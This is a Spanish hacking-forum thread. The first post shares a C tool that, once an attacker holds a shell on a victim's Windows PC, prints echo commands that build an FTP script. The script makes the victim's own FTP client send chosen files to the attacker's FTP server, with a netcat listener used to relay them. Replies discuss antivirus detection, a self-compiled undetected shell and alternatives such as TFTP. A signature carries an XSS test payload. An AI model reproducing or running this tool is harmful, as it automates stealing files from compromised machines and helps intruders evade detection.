elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Interfaz Shell remota
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Interfaz Shell remota  (Leído 5,705 veces)
demersseman

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Interfaz Shell remota
« en: 18 Octubre 2010, 13:55 pm »

Hola a todos!
soy nuevo aqui, aunque os llevo leyendo muucho tiempo, para estrenarme os pongo un programilla de cosecha propia xD

El problema se me planteo cuando conseguí mis primeras shell de pcs bajo windows, dices vale, ya tengo la shell, pero ahora como me bajo ese fichero??
Las soluciones son varias, pero si te decantas por usar el ftp de la maquina remota, puede ser muy laborioso. Así que la misión de este programa en C es automatizar el proceso.
El programa  lee de la entrada estandar, y manda a la shell remota por un pipe, por ejemplo, si usamos netcat:

Código:
interfaz | nc -l -p puerto -vv

el progamilla lee de la entrada estanar y lo envia a nc tal cual, escepto los comando reservados, que son:
get fichero
put fichero
mget ficheros
mput ficheros
(mget y mput se pueden usar por ejemplo así: mget *.jpg)

ya os podeis imaginar que hacen esos comandos xD
No lo he probado en guidous pero en Linux va de lujo jeje

el código es criticable jaja, pero me salió asi:

Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

main(){
    char buffer[100], rutaa[50]="c:\\system.txt", fichero[50];
    int i, fd[2];
    char user[]="usuario", pass[]="contraseña", ip[]="ftp donde vamos a subir los ficheros";
   
    pipe(fd);

    for(;;){
        if(i=fork()==0){
            close(fd[0]);
            bzero(buffer, sizeof(buffer));
            bzero(fichero, sizeof(fichero));   
            fgets(buffer,101, stdin);
            if(buffer[0]=='g' && buffer[1]=='e' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho put %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='g' && buffer[2]=='e' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mput %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='p' && buffer[1]=='u' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho get %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='p' && buffer[2]=='u' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mget %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else{
                printf("%s",buffer);
                write(fd[1], "", 1);
                close(fd[1]);
                exit(0);
            }
        }else{
        read(fd[0], NULL, 1);
        wait(NULL);
        }
    }
}


Espero que a alguien le sirva

Saludos



En línea

Debci
Wiki

Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: Interfaz Shell remota
« Respuesta #1 en: 18 Octubre 2010, 16:05 pm »

Muchas gracias :)
Una vez mas se ve como cada uno se crea sus mini-tools para ir saliendo del paso (para los que decian que no era necesario saber programar en nada para hacer estas cosas)

Saludos
En línea

max20

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Interfaz Shell remota
« Respuesta #2 en: 12 Noviembre 2010, 06:42 am »

el netcat es detectado por la mayoria de los AVs... como troyano.

Exagerados :(
En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: Interfaz Shell remota
« Respuesta #3 en: 13 Noviembre 2010, 03:04 am »

Of course, NetCat is a tool for transmitting data across network connections and may allow unauthorized access.
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
demersseman

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Interfaz Shell remota
« Respuesta #4 en: 18 Noviembre 2010, 14:38 pm »

No sé si nc es detectado por los antivirus, porque nunca he probado nc en un sistema windows.
Lo que yo aqui propongo es una interfaz para usar el ftp de un pc remoto, es decir, este programa introduce comandos en la shell de otro pc (que debe tener el cliente ftp de windows).
Yo en ningun momento he dicho que tengas que usar nc para obtener la shell.
En el ejemplo que he puesto, uso netcat como cliente (en mi pc), pero en el lado de la victima, no uso netcat uso otro programa que no es detectado por ningun antivirus porque también es hecho y compilado  por mi.
Incluso si no quieres empezar de 0, puedes compilar tu propia version de nc. El código fuente es abierto.

Saludos  ;)
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Interfaz Shell remota
« Respuesta #5 en: 4 Diciembre 2010, 16:06 pm »

ya lo he probado incluso haciendo cat archivo |nc.. y despues nc -v > archivo y hay problemas con la codificación de carácteres de la consola, el traspaso de ficheros sirve para archivos ascii pero no binarios :(, podrías hacer una versión mas directa con sockets, similar a wget pero con servidor incluido
En línea

demersseman

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Interfaz Shell remota
« Respuesta #6 en: 7 Enero 2011, 01:45 am »

no entiendo bien cual es tu problema.
pienso que no has ententendido cual es el propósito del programa.
quizas no me haya explicado bien.
Una forma de ver lo que hace es ejecutar el programa tal cual sin tuberias (pipes)
y usar los comando reservados, por ejemplo:
     get fichero.jpg

Los que el programa imprime por la salida estandar, son los comando necesarios para que el ftp DE LA VICTIMA, envia fichero.jpg a MI servidor ftp (cuya direccion y usuario introducimos en el código, al principio)

Para poder introducir esos comandos en el cliente ftp de la victima necesitamos su shell, y se lo pasamos mediante un pipe "|"
Espero que te haya servido de algo
saludos
En línea

R007h

Desconectado Desconectado

Mensajes: 109

<script>alert('xss');</script>


Ver Perfil WWW
Re: Interfaz Shell remota
« Respuesta #7 en: 12 Enero 2011, 21:47 pm »

lo mejor es usar el tftp de windows...
En línea

<script>alert('xss');</scrip>
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines